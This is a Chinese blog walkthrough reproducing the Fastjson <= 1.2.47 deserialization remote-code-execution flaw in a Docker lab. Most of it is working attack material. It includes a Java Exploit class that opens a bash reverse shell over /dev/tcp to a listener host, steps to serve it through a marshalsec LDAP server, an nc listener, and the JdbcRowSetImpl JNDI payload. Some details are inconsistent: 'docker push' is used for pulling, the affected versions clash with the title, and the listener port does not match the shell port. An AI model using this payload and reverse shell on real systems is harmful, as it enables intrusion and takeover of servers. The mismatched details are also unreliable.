当前位置: 首页 > article >正文

Fastjson <= 1.2.47 反序列化漏洞复现

0x01 前言

Fastjson 是一个 Java 语言编写的高性能功能完善的 JSON 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象,在中国和美国使用较为广泛。

0x02 漏洞成因

Fastjson < 1.2.68 版本在处理反序列化对象时存在安全问题,导致攻击者可以执行 java 代码,具体分析可参考:FastJson 反序列化学习

0x03 环境准备

docker 搜索 Fastjson 漏洞利用镜像:
docker search fastjson

这里选择 fastjson1.2.47_rce 镜像进行漏洞复现,将镜像 push 回本地:
docker push initidc/fastjson1.2.47_rce

查看本地镜像:
docker images

开启镜像:
docker run -it -p 8080:8080 a82832ac7f62

复现漏洞还需要在本地开启 rmi 或 ldap 服务,这里我们使用 marshalsec 快速开启 rmi 或 ldap 服务,下载地址:https://github.com/mbechler/marshalsec

下载解压后进入 marshalsec 文件夹,使用 maven 编译出 jar 包(没有 maven 自行下载安装):
mvn clean package -DskipTests

编译完成后在 target 文件夹中找到我们需要的 jar 文件:marshalsec-0.0.3-SNAPSHOT-all.jar

最后准备我们的攻击代码:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.134.130/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); //ip端口自行替换为接收shell地址
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

编译出 .class 文件:
javac Exploit.java

OK,环境基本准备就绪。

0x04 漏洞复现

访问环境:
http://x.x.x.x:8080/fastjson/

先进行 dnslog 探测尝试:
{"@type":"java.net.Inet4Address","val":"1.sap0b9.dnslog.cn"}

dnslog 探测成功,利用攻击脚本进行攻击尝试。

首先利用 python 起 http ,将攻击代码挂起:
python -m http.server 8888

启动 ladp 服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x:8888/#Exploit 9999

攻击机监听端口:
nc -lvvp 8089

使用攻击 payload 进行反弹攻击:

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://x.x.x.x:9999/Exploit", //你的ldap服务地址
        "autoCommit":true
    }
 
}

成功反弹 shell ,复现成功:

0x05 注意点

利用 RMI 或 LDAP 对本地 jdk 版本有要求,利用 RMI 服务 jdk 版本必须低于 8u121 ,利用 LDAP 服务 jdk 版本必须低于 8u182 。

这是我本地 jdk 版本:

0x06 修复方案

升级到最新版本~


http://www.kler.cn/a/448378.html

相关文章:

  • 登山第十六梯:深度恢复——解决机器人近视问题
  • leetcode之hot100---234回文链表(C++)
  • 【NLP 18、新词发现和TF·IDF】
  • 呼入机器人:24小时客户服务的未来趋势
  • VUE3+django接口自动化部署平台部署说明文档(使用说明,需要私信)
  • 大数据面试题--企业面试真题
  • 剑指offer搜索二维矩阵
  • stm32中有哪些库?其中标准库和HAL库有什么区别?
  • 7_HTML5 SVG (3) --[HTML5 API 学习之旅]
  • 【深入理解@ExceptionHandler】
  • 深圳龙岗戴尔dell r730xd服务器故障维修
  • springboot vue 会员收银系统 含源码 开发流程
  • 网络安全怎么学习
  • 【ArcGIS Pro微课1000例】0063:处理无人机数据(空三、生成DOM、DSM、DTM)
  • QT绘制同心扇形
  • 小雅Alist缓存太多怎么清理?教程来了
  • ajax中get和post的区别,datatype返回的数据类型有哪些?web开发中数据提交的几种方式,有什么区别。
  • powerdesigner导入sql脚本,生成物理模型,并显示comment名
  • 【html网页页面013】html+css制作节日主题圣诞节网页含视频、留言表单(独创首发-5页面附效果及源码)
  • SmartX分享:SMTX ZBS 中 RDMA 技术简介
  • springboot470基于协同过滤算法的东北特产销售系统的实现(论文+源码)_kaic
  • 优先队列【东北大学oj数据结构9-3】C++
  • 【故障处理系列--gitlab的CI流水线下载安装包提示报错】
  • 【Rust自学】3.6. 控制流:循环
  • 苍穹外卖-day05redis 缓存的学习
  • GFPS扩展技术原理(七)-音频切换消息流